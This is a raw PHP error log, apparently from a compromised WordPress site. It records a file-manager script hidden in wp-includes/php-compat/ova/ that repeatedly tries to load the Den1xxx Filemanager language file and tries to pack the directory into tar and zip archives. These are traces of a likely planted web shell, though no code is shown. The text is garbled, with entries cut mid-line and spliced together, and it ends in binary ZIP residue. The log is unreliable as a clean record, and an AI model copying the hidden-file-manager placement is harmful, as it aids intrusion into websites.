on line 91 [01-Sep-2025 05:15:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [01-Sep-2025 05:15:55 UTC] PHP Warning[01-Sep-2025 08:43:55 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [01-Sep-2025 08:43:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [01-Sep-2025 15:04:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [01-Sep-2025 15:04:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [01-Sep-2025 15:05:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [01-Sep-2025 15:05:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:38:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:38:32 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:44:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:44:55 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:45:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:45:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:48:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:48:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:50:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:50:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:52:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:52:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:55:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 05:55:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 06:35:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 06:35:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 06:39:08 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 06:39:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 06:39:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 06:39:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 06:49:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 06:50:01 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 07:21:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 07:21:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 07:21:49 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 07:21:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 07:23:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in th[02-Sep-2025 09:25:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 09:25:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 14:22:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 14:22:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 14:22:39 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php.tar" cannot be created, header for file "home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:1117 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php(1117): PharData->addFile('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 1117 [02-Sep-2025 16:41:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 16:41:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 19:11:03 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [02-Sep-2025 19:11:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 06:19:30 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 06:19:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 06:20:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 06:20:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 11:11:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 11:11:59 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.n[03-Sep-2025 11:20:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 11:20:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 11:27:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 11:28:00 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 11:28:08 UTC] PHP Fatal error: Uncaught PharException: phar zip flush of "/home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/ova.zip" failed: unable to write local file header of file "index.php" to zip-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/ova.zip" in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:1059 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php(1059): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 1059 [03-Sep-2025 11:29:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 11:29:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 11:29:35 UTC] PHP Fatal error: Uncaught PharException: tar-based phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/ova.tar" cannot be created, header for file "index.php" could not be written in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:1075 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php(1075): PharData->buildFromDirectory('/home/eufvorrv/...') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 1075 [03-Sep-2025 11:50:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 11:50:24 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 11:51:57 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [03-Sep-2025 11:51:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [04-Sep-2025 20:55:43 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [04-Sep-2025 20:55:43 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [04-Sep-2025 20:55:46 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 1118 [04-Sep-2025 20:56:03 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [04-Sep-2025 20:56:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [04-Sep-2025 20:56:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [04-Sep-2025 20:56:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [04-Sep-2025 20:56:05 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [04-Sep-2025 20:56:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [04-Sep-2025 20:56:06 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [04-Sep-2025 20:56:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [04-Sep-2025 20:56:07 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 218 [04-Sep-2025 20:56:07 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 219 [04-Sep-2025 20:56:07 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 220 [04-Sep-2025 20:56:07 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 221 [04-Sep-2025 20:56:07 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 222 [04-Sep-2025 20:56:07 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 223 [04-Sep-2025 20:56:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 [04-Sep-2025 20:56:08 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/php-compat/ova/index.php on line 91 PK"[][7[7 index.phpnu[PKR'#[F\ 7Diff.php.php.tar.gznu[PKR'#[wKqq sDEngine.tar.gznu[PKR'#[_}o !cova.tar.gznu[PKR'#[â8o ]Engine.tarnu[PKR'#[×uova.tarnu[PKR'#[œZZeova.zipnu[PKS'#[Y:: Diff.php.tarnu[PKS'#[Osqsq >error_lognu[PK l